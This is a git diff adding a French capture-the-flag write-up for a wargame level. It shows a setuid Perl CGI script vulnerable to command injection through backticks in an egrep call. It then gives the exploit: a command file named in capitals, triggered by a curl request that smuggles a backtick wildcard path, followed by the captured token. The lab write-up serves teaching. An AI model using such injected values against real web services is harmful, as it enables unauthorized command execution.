diff --git a/level12/README.md b/level12/README.md new file mode 100644 index 0000000..971bb25 --- /dev/null +++ b/level12/README.md @@ -0,0 +1,51 @@ +Lors de mon arriver sur le level12 je remarque un fichier lisible avec un script perl + +```bash +ls -l +total 4 +-rwsr-sr-x+ 1 flag12 level12 464 Mar 5 2016 level12.pl +``` + +Ce sciprt prends 2 entree utilisateur (x, y) et transforme x a l'aide de la commande egrep +```perl +#!/usr/bin/env perl +# localhost:4646 +use CGI qw{param}; +print "Content-type: text/html\n\n"; + +sub t { + $nn = $_[1]; + $xx = $_[0]; + $xx =~ tr/a-z/A-Z/; + $xx =~ s/\s.*//; + @output = `egrep "^$xx" /tmp/xd 2>&1`; + foreach $line (@output) { + ($f, $s) = split(/:/, $line); + if($s =~ $nn) { + return 1; + } + } + return 0; +} + +sub n { + if($_[0] == 1) { + print(".."); + } else { + print("."); + } +} + +n(t(param("x"), param("y"))); + +``` + +L'exploit est donc assez simple il suffit de mettre la commande souhaiter dans un fichier avec un nom en majuscule (a cause du tr) et elle sera executer + +```bash +echo "getflag > /tmp/pass" > /tmp/LEVEL +mv /tmp/level /tmp/LEVEL +curl 'localhost:4646?x=`/*/LEVEL`' +cat /tmp/pass +Check flag.Here is your token : g1qKMiRpXf53AWhDaU7FEkczr +```